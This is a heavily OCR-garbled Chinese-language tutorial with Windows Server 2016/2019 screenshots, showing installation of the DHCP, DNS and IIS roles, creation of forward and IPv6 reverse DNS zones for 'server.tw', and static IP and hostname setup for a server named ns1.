Web Server (II5)
Management Tools
115 Management Console

figuration

Yo can close this wizard without interrupting running tasks, View task progress oF open this
a page again by clicking Notifications in the command bar, and then Task Details.

Export configuration settings
P gurati ing i}

B 27 Windows 2016 & {7 % %
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Bt i BRE 4T DHCP ~ DNS ~ IS 2 15 » & ¥ & & 4Fig i 7 i i
7R T > @ A AP E #K T DHCP Server -

B Server Manager - [u] x

Component Services

Computer Management

Frrd WELCOME TO SERVER MANAGER
§i3 Dashboard Defragment and Optimize Drives

l Local Server DHCP ‘
liE ANl Servers G Disk Cleanu%
ve
18 DHCP DNS
2, DNs Event Viewer
;n ) AcA el foat ir Internet inf Senvices (I1S) Manag
Bg File and Storage Services b ‘ AGd es and feature T
lo s Add other cervers ta mar Local Security Policy

Microsoft Azure Services

N B3 C Ver group ODBC Data Sources (32-bat)
0D83C Data Sources (64-bit)
3 ~onnect tnis server 1o cloud ser| Performance Monitoe
Print Management
LEARN MORE

ﬁ# ﬂw Server a E zj: Monitor

fi
ROLES AND SERVER GROUPS System Configuration

System Information

Roles:4 | Server groups Servers total
Task Scheduler
ri DHCP 1 & DNS Windows Firewall with Advanced Secunity
Windows Memory Diagnostic
@ Manageability (® Manageability Windows PowerShell
Events Events Windows PowerShell (x86)
Windows PowerShell ISE
Services Services Windows PowerShell ISE (:86)
Performance Performance Windows Server Backup
BPA results BPA results

B - 13 da
@B 28 Windows 2016 % #% 3% 38 P
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DN DNSf TiE H 2 18 > 1217 DNS Zone 3% %_- DNS “,f TR
Apernt TA LA TR0 IP Address & 2 (Forward Lookup)
s g vk o S B R PAddress Fie DA ofE ) ok fRIRG
(Reverse Lookup) o iZ4® L3k Z_I f2eh30 A o

£, DMS5 Manager

File Action  View Help

7 o eI I I

i 2 oMs
= v A 0 Add 2 New Zone
HE A | Forward | mokun Tanes
(] M{eﬂh
18 D L The Dormain Mame Systern (DMNS) allows a DNS namespace to be divided into zones. Each zone
2 o View y  stores information about one or mare contiguous DNS domains.
ii Fil Befresh Toadd a new zone, on the Action menu, click New Zone.
o Help

#%%E DNS Forward Lookup Zone

Create a new 1one.

Events Events
Services Services
Performance Performance
BPA results BPA results

B 9 Windows 2016 = == DNS new zone

454, - 55



it~ DNSzone sk T H3IH & > S RBRTHGOHF > KT - %
YR S S

Fa

. New Zone Wizard X m

¥
A
4 Welcome to the New Zone
[ Wizard
i g -
B . This wizard helps you create a new zone for your DNS
HEA server.
13 o) > :d‘;"‘ "‘d":i:ff"““ to related data, such as IP |ce to be divided into zones. Each zone
é D eS5eS o Ne sences. ]omaln:.
ii Fil To continue, dick Next,
fon
|
|
Fide
gock | “"L) | | concel
\\
3
#% € DNS Forward Lookup Zone
Events Events
Services Services
Performance Performance
BPA results BPA results

B 30 Windows 2016 ¥ 4~3% <_DNS zone
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%5 — B Zone s iE 1B zone ¥ 14 H_JE LN B e i e
PR Rt Lo FOUEJEGEE L2 TR i@msub-zoneoﬂ
* DNS € & » F]5 4c% i3 DNS > @?ﬁﬂyé@ﬂ%'ﬁh,;ﬁ
2 D H s PREE > F 5 IPE#cF o A2 42k o AR DNS i
TE I RBEFEW Mﬁé@ﬁ’zé‘é"\nr“”%%ﬁ—zonem
I SV ; PR E K B F 3% zone cpRAE o

-A-_\

g MNew Zone Wizard

W oo 4 Zone Type i
S D Th DMS sarver sUpports vanous types of 2ones and stocage. -

a4
[ L
- b
WE A Sedect the type of zone you want bo create:
fio (@) Primary zone -

ce to be divided into zones. Each zone
B Creates a copy of & zone that can be updated directly on this server. ornaine e
em D 3
W5 () Sacondary zone
Creates a copy of & 7one that exists on another server. This option heips balance
h m the processing kad of primary servers and provides fault tolerance.
() Shub zone

Creates a copy of & zone containing only Name Server (NS), Start of Autherity
(S0}, and possibly ghe Host (&) records. A server containng a stub Tane is ot
suthoritative for that mone.

Hide

<Badk [th| Cancel

Events Events
Services Senices
Performance Performance
BPA results BPA results

& 4

B] 31 Windows 2016 % _zone type
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%ﬁ%ﬁ%wf’ﬁ¥ﬁ»a&%m% A SR R
#H AL PlACTT R T servertw B3 o ipA2 e g
server.tw o z_ {& 4o% % &:— 'I?; Bk RV R R BREXTE
www.server.tw > 4o 23K 7 — i POP3 4z iz 4 %53 SMTP # 13 4
o FRIET g0 A W% LpopB server.tw §2 smtp.server..tw o

4— F“‘

m

New Zone Wizard

¥
A
4 Zone Rame =
| What is the name of the new zone? |
(4
b

]
i 4
- |
i A The zone name specifies the portion of the DNS namespace for which this server is
v} authoritative. It might be your organization’s domain name (for example, microsoft.com) |
13 D or 8 portion of the domain name (for example, newzone. microzoft.com). The zone name is |ce to be divided into zones. Each zone
not the name of the DNS server.
& o Jomains.
g Zone name: F
fo Il | server.tw ‘\
Kide
< Back Next N Cancel
‘ L |
#% %€ DNS Forward Lookup Zone
Events Events
Services Services
Performance Performance
BPA results BPA results

B 32 Windows 2016 ﬁi%l ~ zone
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DNS Server § #-77F B * 438 2% € i35 & DNS zone file p > iz
i zone file p > e4%97 vﬁ EimDNS,J{ F o lﬂ%rﬁ AR R

54

%] » zone file sh & A > 2 31,‘] ~ server.tw.dns i % zone file {4

o

Mew Zone Wizard

ﬁ .g Zone File B
5 il a0 ereate a new zone fle or use a fle copied from anather DNS server
e

= 4
B lge
- \-
WE A [ you want i ceate & new fone Be o Se an existng e that you have oopeed
1 from ancther DM server?
L . i
() Create & mew fle with this fle name: ce to be divided inta 2ones. Each zone
& D . ) omains.
server, b dns
g Fi -
io () Lise this endsting fie:

To use this existing fle, ersure that it has been copied bo the folder
SystemRoot¥systemId\dns on this server, and then dick Mext.

Hide
<8ock | NE1 > || concal
#%7E DNS Forward Lookup Zone
Events Events
Semnvices Services
Performance Perfarmance
BPA results BPA results

33 Windows 2016 z£= > zone file
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d 32

zone 75& X
2

£d o

Primary » F]ut 38 4% 7 o3F s & L AT o 75 Primary e
{#T’ﬂp{;ﬂi'ﬁ?/ﬁ’%’
& {

e
% D

[CRER

i‘%
P

't

§
{ <
a
Rul
‘ ~

b fimnnas Wiew Help
d Mew Zone Wizard
=g 4 Dynamic Update =
IS D Yeu can specify that this DNS zone accapis secure, nonsecure, of o dynamic
l L 2 updates,
- |
BE A [rymamic updates enable DNS dient computers to register anddmurxd'rmdatelher
e resouros recoeds with & DS server whenewss changes oear
1D ivi t 1
Select the type of d ey ce to be divided into zones. Each zone
é D QMaIns.
ii FI Alicw only secune cynamic updates (recommenced for Active Director .:
This option is avaiable orly for Active Directory-integrated mnes.
o n (D) Mllow both nonsecureand secure dynamic updates
Dynamic updates of resource records are accepted from any dient.
& This aption is & sgnificant seaurity vulnerabiity becauss updates can be
2 accepted from unfusted sources.
(®) Do nat allow dynamic updates
updates of resource records are not accepted by this zone. You must update
these records manually,
Hide
<8sck | et > | | cancet
)
#¥5E DNS Forward Lookup Zone
Events Events
Services Services
Performance Performance
BPA results BPA results
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¢ New Zone Wizard

Completing the New Zone Wizard

You have successfully completed the New Zone Wizard, You
specified the following settings:

V;lamezr server.tw
Type: Standard Prmary
Lookup type: Forward
Fie name: server.tw.cns
Note: You should now ada records to the 20ne o ensure

that records are updated dynamically. You can then verify
name resoiution usng nelookup.

To dose this vazard and create the new zone, dick Fish,

|ce to be divided into zones. Each zone
Jomains.

Hide

#% € DNS Forward Lookup Zone

Events
Services

Performance

BPA results

Events
Services
Performance

BPA results
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File

Action  View Help

g e | 2 X

DNS
i msi
w [ Forward Lockup Zones
| servertw
Reverie Lookup Zones
1 Trust Points

Conditional Farwarders

New Host

Mame (uses parent domain name if blank):

nEl

Fuly aualified domain name (FQDN):

nsl.server. b,

Events
Services
Performance

BPA results

[

| nsl., hestraster,

Events
Services
Performance

EPA results

6 Windows 2016 3% @_DNS

o, - 62



P ird 2~ S DNSeIPV4 imn 3k T 0 T K E
F

DNS & 80 IPV6 ik o GriE & 2 - BATRE

% 8 E 4% IPV6 o

g & =

i £ oS
- ~ § NS
| [} -

fip

&= D

Wg Fi

o

£ DMS Manager

File  Action  View Help

.ﬂ%‘g‘“‘\;
\’
T

ma@mli@aE
0 Add a New Zone
1 Forward Lockup Zones
servertw X L
R e The Dormain Mame Systern (DNS) allows a DNS namespace to be divided inta zones. Each zene
rse Lo e rmation about one or mare contiquous DNS domains.
1 Trust Point [ NS S
Condition View 5 EWzone on the Action menu, click New Zone.
Refresh
Help

Create a new zone.

Events
Services
Performance

EPA results

& 4

Hide

Events
Services
Performance

BPA results

i8] 37 Windows 2016 % %_DNS reverse lookup zone
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New Zone Wizard

Welcome to the New Zone
Wizard

Chal & o o

This wizard helps you create a new zone for your DNS

server.
1o &:20n% Wrarsliles DHS neimes to relsted data; such s 12 |ce to be divided into zones. Each zone
Py addresses or network services. lomaas
e= D) .
i; Fi To contirue, dick Next, L
o

Hide
S T | | concel ‘
' |
#% 7€ DNS Reverse Lookup Zone

Events Events
Services Services
Performance Performance
BPA results BPA results

o

B 38 Windows 2016 3% Z_DNS reverse lookup zone g% &

&
§ T
d Mew Zone Wizard X
— 4N Lone Type _*
The DS server supports various bypes of 2ones and storage. l |
= d g
"W E
..
W& Al Select the type of Zone you want to create:
fi o (@ Primary zne i
£ te be divided int - Each
Creates a copy of & mone that can be updated directly on this server. <€ D. fvided nio zones. Lach zone
& Dl OMmaIns.
i i (O)5econdary 2one
Creates a copy of & zone that exists on another server. This opson helps balance
i‘, i the processing ad of primary servers and provides fault tolerance.
() Shub zane
Creates a copy of a zone containing anly Mame Server (NS), Start of Autherity
(S0W), and pessibly ghue Host (A) recorde. A server containmg a siub zane is nat
suthoritative for that mne.
e (avaiabie o =
Hide
<gock | ueE; | | concat
Zl¥9E DNS Reverse Lookup Zone
Events Events
Services Services
Performance Performance
BPA results BPA results

L

B 39 Windows 2016 i% # Zone 3§ %
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4 Cllemnn,
Mew Zone Wizard

e to be divided into zenes. Each zone
lomains.

4  Reverse Lookup Zone Hame _‘
Areverse lookup Tone translates TP addresses inito DNS names, l

L |

.
Cheoose whether you want to create a reverse lookup zone for IPv4 addresses or IPv6
addresses.
(1 IPv4 Reverse Lookup Zane
(8) IPvé Reverse Lockup Zone

< Badk Hext > Cancel

Events
Services
Performance

EPA results

Events
Services
Performance

BPA results

f&] 40 Windows 2016 £ # IPv6 Reverse lookup zone
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Reverse Lookup Zone Rame
Areverse lookun rone translates IP addresses into DNS names,

T e the pévenss ookup Fone, enter an TPvE sddness prefix 1o sulo generste the
Zone namels). Depending on the prefx you enter, Up to B mones may be aeated.

1P Address Prefix:

v

ce to be divided into zones. Each zone
lomasins.

| 2001 11223 ke

Reverse Lockup Tones
[ 1.0.0.0.2.2.0.0.1.1.0.0.1.0.0. Zip6.arpa

Hide

Events
Services

Performance

BPA results

Events
Services
Perfarmanice

BPA results
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f Mew Zone Wizard
m o 4 Zomne File B
Y iold can create & nevw 2one file or uss & Bls copeed from another DNS server
a4

[ L

- ™~

s A Do you want to ceate & new rone fle or use an existing file that you have copied

_ from another DNS server?

T! b ) Crmmbe & mew e with this fle mame: & to be divided into zones. Each zone

8 o = ' omains.

=

- [ servesionsired |

Fi
o () Use: this exsting fie:
T use this eadsting fie, ensure: that it has been copied to the folder
“Sysiemiot%system32ing on this server, and then dack Next.
Hide
<Bock || Mext» h| Cancel
#% 7€ DNS Reverse Lookup Zone

Events Events
Services Services
Performance Performance
BPA results BPA results

& i

Bl 42 Windows 2016 2= = DNS reverse lookup zone file

f Mew Tane Wizard
=g 4 Dynamic Update =
I D You can specify that this DS zone sccepis secure, nonsscure, or o dynamic
i L 3 updates,
- \;
S A Drymiamic updates enabie DRS dhent computers to negeter and dymamicaly update ther
_ resource records with & DNS server whenever changes ocas
12 D ce to be divided nto zones. Each zone
Select the type of dynamic updates you want to alow: A
é D OMEIn5.
i Allowe oriy seoure dynamic updates (recommendied f Drectony)
This opion is avalable only for Active Dinectory-integrated mnes.
lﬂ n (") Allow both nonsecure and secure dynamic updates
Dynamic updates of rescirce records ane accepted from any dient.
4 This opion s & significant security vulnerabiity becauss updates can be
2 aceepbed from untrusted sources.
(#) Do not allow dynamic updates
Enymamic updates of resource records are not accepled by this mone. You must update
these records manually.
Hide
<ok || tept.> | | concel
%7€ DNS Reverse Lookup Zone
Events Events
Services Services
Perfarmance Performance
BPA results BPA results

- i

a4, - 67



H Chdes
#‘ New Zone Wizard X
|
m 4 Completing the New Zone Wizard
-
i i -
& A o You have successfully completed the New Zone Wizard, You
| ] specified the following settngs:
0 &
1% D “Name(s): ~ ce to be divided into zones. Each zone
o D lomains.
= 1.0.0.0.2.2.0.0.1.1.0.0.1.0.0. 2.p6.arpa
g
fo Il Type:  Standard Primary =
Note: You shoud now add records to the zone or ensure
that records are updated dynamically, You can then verify
name resoiution usng nelookup.
To dose this wezard and create the new 2one, dick Finch.
Hide
< Back [ Frish [:} ' Cancel
#% %€ DNS Reverse Lookup Zone
Events Events
Services Services
Performance Performance
BPA results BPA results
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www £ 1PV ak o 2 {8 & % A 39 nslservertw pF o ¥ 0% £33 T
RS IPVG bt » iR § & % K & i T www.server.tw pF > 4
LR P IPV6 b o

-

L DNS Manager

o [u ] X
File Action View Help
o DR BmiEE
H DS Mame Type Data
v | NS [lizarne as parent folder) Start of Autherty (SOA) (3] nel, hostmaster.
v [ Forward Lackup Zones n:“mrn: parent folder) Name Server (NS) nsl.
reertw
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settings Public network Connections: i) Ethemet
Change your networking settings
& ¥ Internet Protocol Version 4 (TCP/IPv4) Properties X
General Networking General
Connection Connect using You can get IP settings assigned automatically if your network supports
this capability. Otherwise, you need to ask your network administrator
IPv4 Connectivity: P Intel(R) PRO/1000 MT Desktop Adapter for the appropriate IP settings.
IPv6 Connectivity:
Media State: Configure .. (O Obtain an 1P address automatically
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Speed: [;GISM'DF Microsoft Networks ~ IP address: 192188 . 1 . 100
: F File and Printer Sharing for Microsoft Networks
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[ _y Intemet Protocol Version 6 (TCP/IPvE) v Obtain bit et
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Transmission Control Protocol/Intemet Protocol. The default
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propesties ozt across diverse interconnected networks [Ovaidate setungs upon ext Advanced...
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Tnternet Uptions OK Cancel |
Windows Defender Firewall

Bl 57 Windows 2019 ﬁi%l » IPv4 =5t

a4, - 81



i 5 5_ISP #7518 11 IPV6 =

3% IPV6 =4t ~ IPV6 0 prefix ~

9 IPV6 - ht

A %5 » Control Panel » Metwork and Internet » Metwork and Sharing Center

Control Panel Home

Change adapter setfings

Change advanced shaning
settings

Conmection
IPv4 Connectivity:
IPvé Connectivity:
Meda State:
Curation:
Speed:

Detals...

Sent

Bytes: 45,422

Grrcpertes | EDisskie |

Internet Uptions

Windows Defender Firewall

(o)

Ht
e

’iﬁ)x

7

PITHRAEP o F RS
&4 frgateway 0 iE 3 DNS server

Search C

ontrol Pane p

View your basic network information and set up connections

Wiew your active nebworks

Unidentified network
Public metwork

Change your networking settings

Hetwarking

Connad using:
@ Intel{F) PRO/1000 MT Deskiop Adapter

This connection uses the folowing fems:

| 2 P Chent for Microsoft Networks
o B e and Frivter Sharing for Microsclt Netw
o B(0S Packet Scheaduler
B g inbemet Protocal Version 4 (TCP/IPvA)
[ Weerosclt Network Adapter Muliplexar Pra
By Weeroaclt LLOP Protoeol Dever
B g Inbemet Protocal Viersion & (TCP/IPVE)

Descripton
TCP/IP wersen 6, The latest version of the inten|
that provides communication across diverse e
Toetworks

Uninstal

Access type Mo netwark sccess

Connections: | Ethernet

OK

Internet Protocaol Version 6 (TCP/IPvE) Properties b4
Ganeral

ou can gat IPvE settings assigned sutomaticaly if your network supports this capability.
Othernise, you need to ask your network administrator for the appropriate 1P settings.

() Obtan an IPvE address sutomaticaly

(@) Use the folowing TPVE address:

1Pv6 address: 00010232 1100

Subnet prefix length: (g4

Dot G bemay: 0110272101
Db bz DNS server sddréss sutomatically

{®) Use the folowing DMS server addresses:
Prefemed DNS server: 0010232 1100

Alternate DNS serier:

[l vadats sattings upon ext

B 58 Windows 2019 ﬁ%] » |Pv6 i xt

a4, - 82



¥t hostname » ¢ hostname ¥ 8_% »tye2hplha o7 15 5 1

74- o
L
o B
|
=0
s
‘E’: (\,
>
She
T
i\ A
Loy
(e
\'F_ -
B
I -
¥
4
& >
T
4 A
_33 "
N

~]
4 B3 ControlPanel > System and Security > System v O Control Panel L
Control Panel Home . .. . %QE €
View basic information about your computer Col PUter Name
& Device Manage|
& Remote settings
Computer Name  Hardware Advanced Remote You can change the name and the membership of this
@ Advanced syste computer. Changes might affect access to network resources.  J5 Server® 2019

L‘a Windows uses the following information to identify your computer
on the networ

| Computer name:

Computer description:

i |ns1
For example: "l!S Production Server" or ‘
"Accounting Server” Full computer name:
Full computer name: WIN-LM4F1VKNESR | nst
Workgroup: WORKGROUP i More.
To rename this computer or change its domain or Oanc | Member of
workgroup, click Change. () Domain & Change settings
® Workgroup:
[WORKG ROUP
0K Cancel
|
-~

vate Windows
Computer Name/Domain Changes

oK Cancel Ppply
You must restart your computer to apply

these changes

Before restarting, save any open files and close all
programs.

Security and Maintenance
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[ Server Manager - X

Server Manager * Dashboard © Menage Tools View  Help

WELCOME TO SERVER MANAGER

B Local Server

i' All Servers . .
- o Configure this local server

ii File and Storage Services D
QUICK START )
B . - ond e %7€ role and features

€rs 10 manage

WHAT'S NEW

4 Create a server group
5 Cor to cloud services
Hide
LEARN MORE
ROLES AND SERVER GROUPS
Roles: 1 Server groups: 1 | Servers total: 1
== File and Storage -
[} R 9 1 B Local Server 1
Services
@ Manageability @ Manageability
Events Events
Performance Services
BPA results Performance

BPA results
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i Add Roles and Features Wizard
Before you begin

Before You Begin

Installation

8-

ELTS Tools View

DESTINATION S&

ER
nst

This wizard helps you install roles, role services, or features. You determine which roles, role services, or

features to install based on the computing needs of your organization, such as sharing documents, or
hosting a website.

To remove roles, role services, or features:

Start the Remove Roles and Features Wizard
Before you continue, verify that the following tasks have been completed:

* The Administrator account has a strong password
* Network settings, such as static IP addresses, are configured
* The most current security updates from Windows Update are installed

If you must verify that any of the preceding prerequisites have been completed, close the wizard,
complete the steps, and then run the wizard again.

To continue, click Next. Hide

[[] Skip this page by default

Events Events %

Performance - Services

BPA results Performance
BPA results
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I f& Add Roles and Features Wizard
i

ypPe

"

DESTINATION §!

/De

@) Role-based or feature-based installation
Configure a single server by adding roles, role services, and features.

_) Remote Desktop Services installation
Install required role services for Virtual Desktop Infrastructure (VDI) to create a virtual machine-based

or session-based desktop deployment.

< Previous | l_ﬁsxt > t Cancel

Events Events

Performance - Services

BPA results Performance
BPA results
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fi Add Roles and Features Wizard

Select destination
~d
=

Tools View

DESTINATION SERVER
nst
Select a server or a virtual hard disk on which to install roles and features,

®) Select a server from the server pool

_ Select a virtual hard disk

Server Pool

Filter: ‘

P Address

Name

nsl 192.168.1.100 Microsoft Windows Server 2019 Datacenter Evaluation

1 Computer(s) found
This page shows servers that are running Windows Server 2012 or a newer release of Windows Server,
and that have been added by using the Add Servers command in Server Manager. Offline servers and
newly-added servers from which data collection is still incomplete are not shown.

Events Events

Performance Services

BPA results Performance
BPA results
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ct server roles

View

DESTINATION SER'

Add features that are required for DHCP Server?

The following tools are required to manage this feature, but do not
have to be installed on the same server,
4 Remote Server Administration Tools
4 Role Administration Tools
[Tools] DHCP Server Tools

Include management tools (if applicable)

Add Features '

f& Add Roles and Features Wizard X

tion

ic Host Configuration

pl (DHCP) Server enables you
rally configure, manage, and
e temporary IP addresses and
information for client

ters.

Hide

Events Events

Performance Services

BPA results Performance
BPA results
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View

Tools

DESTINATION SERV

Add features that are required for DNS Server?

The following tools are required to manage this feature, but do not
have to be installed on the same server.

Server Roles

4 Remote Server Administration Tools
4 Role Administration Tools
[Tools] DNS Server Tools

[¥] Include management tools (if applicable)

Add Features |

[& Add Roles and Features Wizard X

tion

p Name System (DNS) Server
ps name resolution for TCP/IP
ks. DNS Server is easier to

le when it is installed on the
lerver as Active Directory

p Services. If you select the
Directory Domain Services

u can install and configure
rver and Active Directory

h Services to work together.

Events Events

Performance - Services

BPA results Performance
BPA results
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DESTINATION SERVER
ns1

=, Add Roles and Features Wizard X

X

B !
age Tools View
i L

Add features that are required for Web Server (lIS)?

ption

5

I
The following tools are required to manage this feature, but do not erver (IIS) provides a reliable,

y | h 3
ST have to be installed on the same server. liable, and scalable Web

f
4 Web Server (IIS) tion infrastructure

4 Management Tools
[Tools] IIS Management Console

Hide

Include management tools (if applicable)

Add Features

Events Events

Performance Services

BPA results Performance
BPA results
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Tools View

DESTINATION SER

Select one or more roles to install on the selected server.

Roles Description

Windows Server Update Services
allows network administrators to
specify the Microsoft updates that
should be installed, create separate
groups of computers for different

[ Active Directory Certificate Services

[[] Active Directory Domain Services

[C] Active Directory Federation Services

[[] Active Directory Lightweight Directory Services
[] Active Directory Rights Management Services

] Device Health Attestation sets of updates, and get reports on
DHCP Server the compliance levels of the
DNS Server computers and the updates that
[] Fax Server must be installed.
I [M] File and Storage Services (1 of 12 installed)

Host Guardian Service

Hyper-V

Network Controller

Network Policy and Access Services
Print and Document Services
Remote Access

Remote Desktop Services
Volume Activation Services
Wel Snver (19 HERRFR Server

Windows Deployment Services

Hide

OROOO0O0000d

Events Events

Performance Services

BPA results Performance
BPA results
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[ Add Roles and Features Wizard

Select features
i Before You Begin Select one or more features to install on the selected server.

[ O Installation T Features

[N NET Framework 2.5 Featur

¢ [M] .NET Framework 4.7 Features (2 of 7 installed)

DESTINATION SERVER
nst

Description

NET Framework 3.5 combines the
power of the NET Framework 2.0

[ Background Intelligent Transfer Service (BITS) APIs with new technologies for
BitLocker Drive Encryption building applications that offer
BitLocker Network Unlock appealing user interfaces, protect
BranchCache your customers' personal identity
Client for NFS information, enable seamless and
Containers secure communication, and provide
Data Center Bridging the ability to model a range of
Direct Play business processes.

Confirmation

Enhanced Storage

Failover Clustering

Group Policy Management

Host Guardian Hyper-V Support

1/0 Quality of Service

IIS Hostable Web Core

Internet Printing Client

IP Address Management (IPAM) Server
iSNS Server service

Hide

O o o | [ | | [ [

Events Events

Performance . Services

BPA results Performance
BPA results

Bl 68 Windows 2019 :& {7 % %

Tools View

DESTINATION SERVER

The Dynamic Host Configuration Protocol allows servers to assign, or lease, IP addresses to computers B
and other devices that are enabled as DHCP clients. Deploying a DHCP server on the network provides
computers and other TCP/IP-based network devices with valid IP addresses and the additional
configuration parameters these devices need, called DHCP options. This allows computers and devices
to connect to other network resources, such as DNS servers, WINS servers, and routers.

Things to note:

DHCP Server * You should configure at least one static IP address on this computer.

DNS * Before you install DHCP Server, you should plan your subnets, scopes and exclusions. Store the plan
in a safe place for later reference.

Hide

|

Events Events

Performance . Services

BPA results Performance
BPA results
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& Add Roles and Features Wizard

DNS Server

age Tools View

Domain Name System (DNS) provides a standard method for associating names with numeric Internet
addresses. This makes it possible for users to refer to network computers by using easy-to-remember
names instead of a long series of numbers. In addition, DNS provides a hierarchical namespace,
ensuring that each host name will be unique across a local or wide-area network. Windows DNS services
can be integrated with Dynamic Host Configuration Protocol (DHCP) services on Windows, eliminating
the need to add DNS records as computers are added to the network.

Things to note:
* DNS server integration with Active Directory Domain Services automatically replicates DNS data
along with other Directory Service data, making it easier to manage DNS.

* Active Directory Domain Services requires a DNS server to be installed on the network. If you are
installing a domain controller, you can also install the DNS Server role using Active Directory Domain
Services Installation Wizard by selecting the Active Directory Domain Services role.

Hide

< Previous Next > i ta

Events Events

Performance - Services

BPA results Performance
BPA results
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Web Server Rol

fi Add Roles and Features Wizard = ] X

age Tools View

DESTINATION SERVER

e (HSJ‘ nsi

Web servers are computers that let you share information over the Internet, or through intranets and

extranets. The Web Server role includes Internet Information Services (IIS) 10.0 with enhanced security,
diagnostic and administration, a unified Web platform that integrates IIS 10.0, ASP.NET, and Windows
Communication Foundation.

* The default installation for the Web Server (IIS) role includes the installation of role services that
enable you to serve static content, make minor customizations (such as default documents and HTTP
errors), monitor and log server activity, and configure static content compression.

Hide

More information about W rver IS

< Previous
Events Events
Performance - Services
BPA results Performance
BPA results
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i Add Roles and Features Wizard — [m] X

age Tools View

DESTINATION SERVER

Select role services nst
i Select the role services to install for Web Server (lIS)
n| Role services Description
i a Web Server provides support for
P Common HTTP Features HTML Web sites and optional

Default Document support for ASP.NET, ASP, and Web
Directory Browsing server extensions. You can use the
HTTP Errors Web Server to host an internal or

Static Content external Web site or to provide an

] HTTP Redirection environment for developers to
] WebDAV Publishing create Web-based applications.
4 Health and Diagnostics
Caonfirmation [ Custom Logging

[ Logging Teols
[[] ODBC Logging
[C] Request Monitor
[ Tracing
4 Performance
Static Content Compression
[C] Dynamic Content Compression

Hide

4 [V] Security
Events Events
Performance Services
BPA results Performance
BPA results
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f Add Roles and Features Wizard — o X
View

Tools

DESTINATION SER'

Confirm installation selections

To install the following roles, role services, or features on selected server, click Install.

[] Restart the destination server automatically if required

Optional features (such as administration tools) might be displayed on this page because they have
been selected automatically. If you do not want to install these optional features, click Previous to clear

their check boxes.

DHCP Server
DNS Server
Remote Server Administration Tools
Role Administration Tools
DHCP Server Tools
DNS Server Tools

Web Server (1IS)
Management Tools
IIS Management Console

Web Server

Export configuratio
Specify an alternate

source path

< Previous

Hide

Events Events

Performance Services

BPA results Performance
BPA results

10:37 AM
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0 74 de

Fa Server Manager

Server Ma

Manage Tools View

WELCOME TO SERVER MANAGER

B Local Server

All Servers
DHCP
DNS

File and Storage Services P

s

APk

WHAT'S NEW

LEARN MORE

ROLES AND SERVER GROUPS
Roles: 4 Server groups: 1 |

Servers total: 1

{8 pHep 1

DNS

Manageability

Manageability

Component Services

Computer Management
Defragment and Optimize Drives
DHCP

Disk Cleanup

DNS

Event Viewer

Internet Information Services (IIS) Manager
iSCS Initiator

Local Security Policy

Microsoft Azure Services

QDEBC Data Sources (32-bit)
ODBC Data Sources (64-bit)
Performance Monitor

Print Management

Recovery Drive

Registry Editor

Resource Monitor

Services

System Configuration

System Information

Task Scheduler

Windows Defender Firewall with Advanced Security

Windows Memory Diagnostic

Events Events
Windows PowerShell
Services Services
! ! Windows PowerShell (x86)
Performance Performance Windows PowerShell ISE
BPA results BPA results Windows PowerShell ISE (x86)

Windows Server Backup
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i DNS Manager

File Action View Help
e 2@ 6 HE
2 DNs

v 3 Nsi

Forward Lookup Zones
| Reverse Loo& Zones
| Trust Points

| Conditional Forwarders

CRERE

\0\ Add a New Zone

DNS domains.

To add a new zone, on the Action menu, click New Zone.

5% %€ DNS Forward Lookup Zones

The Domain Name System (DNS) allows a DNS namespace to be divided into zones. Each zone stores information about one or more contiguous

16:53 AM
0 Tl ds 5/10/2019 E1
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(Reverse Lookup ) -~ ig#® 2tk T_IF f2eRR4 o

2, DNSManager

File Action View Help

es2ffic@Bmiae

& DNS
v @ NSt 0 Add a New Zone
. Forward Lookrim 7anes
Reverse Look
Trust Point [} N*'"! System (DNS) allows a DNS namespace to be divided into zones. Each zone stores information about one or more contiguous
rust Foints View >
| Conditional |
Refresh ¥ zone, on the Action meny, click New Zone.
Help

2% 3 DNS Forward Lookup Zones

Create a new zone.

B 76 Windows 2019 = = DNS new zone
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File Action View Help

L AN GlHE|§ EE
2, DNS -
v # NSt \0r Add a New Zone
| Forward Lookup Zones -
R Lookup Z R ’ ; <

S VSR HOCWIRLONSS The Domain Name System (DNS) allows a DNS namespace to be divided into zones. Each zone stores information about one or mere contiguous

~| Trust Points DNS domains.

_| Conditional Forwarders

To add a new zone, on the Action menu, click New Zone.
New Zone Wizard X
Welcome to the New Zone
Wizard
This wizard helps you create a new zone for your DNS
server,
Z A zone translates DNS names to related data, such as IP
addresses or network services.
To continue, diick Next.
< Back Cancel
DNS Forward Lookup Zones
* 10:54 AM
3 7 ds

5/10/2019
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File Action View Help
Lol ARs] o RERE 7 ol
£ DNs

F] =

A8 e e
sub -zone - ¢

IJ ‘-J;, ’ 4 7{@

ik 21 | gt:»},ﬁzau:uofaafaDNs.@a

St

- % - zone e

v § Nsi
| Forward Lookup Zones
| Reverse Lookup Zones
| Trust Points
_| Conditional Forwarders

\o‘ Add a New Zone

The Domain Name System (DNS) allows a DNS namespace to be divided into zones. Each zone stores information about one or more contiguous

DNS domains.

To add a new zong, on the Action menu, click New Zone.

New Zone Wizard X
Zone Type S-
The DNS server supports various types of zones and storage. l y
=

Select the type of zone you want to create:
(®) Primary zone
Creates a copy of a zone that can be updated directly on this server.

(O Secondary zone
Creates a copy of a zone that exists on another server, This option helps balance
the processing load of primary servers and provides fault tolerance.

(O 5tub zone
Creates a copy of a zone containing only Name Server (NS), Start of Authority

(S0A), and possibly glue Host (A) records. A server containing a stub zone is not
authoritative for that zone.

(available only if DNS server is a writeabl

= o

%7€ DNS Forward Lookup Zones

10:54 AM
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WWW.Server.tw » 4-% iR 2E2% 7 — & POP3 1z fz 4 #§3 SMTP % 2 4
o FRIRT g 4 B3 E_pop3.server.tw §2 smtp.server..tw o

2

File Action View Help
9| 2@ 6Bl §E
£ DNS

v ) IS \0- Add a New Zone
| Forward Lookup Zones ~
Reverse Lookup Zones

| Trust Points

The Domain Name System (DNS) allows a DNS namespace to be divided into zones. Each zone stores information about one or more contiguous
DNS domains.
_| Conditional Forwarders

To add a new zone, on the Action menu, click New Zone.

New Zone Wizard X
Zone Name *
What is the name of the new zone? >
-

The zone name specifies the portion of the DNS namespace for which this server is
authoritative, It might be your organization's domain name (for example, microsoft.com)
or a portion of the domain name (for example, newzone.microsoft.com). The zone name is
not the name of the DNS server,

Zone name:

‘ server.tw|

P T

%% DNS Forward Lookup Zones

10:55 AM
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DNS Server ¢ #-#773 B 43 e38 T_if 77 & DNS zone file p > #:%
2
,\: d’—

i zone file p » a4k L FEer DNS K %o 2954 TH & > #
#ij ~ zone file & 74 2 iy » server.tw.dns i+ % zone file ¢ 4 -

2

File Action View Help

e a1 c|Bm & &
"2 DNs B
v 3 Ns1 w0‘ Add a New Zone

Forward Lookup Zones

R Lookup Z
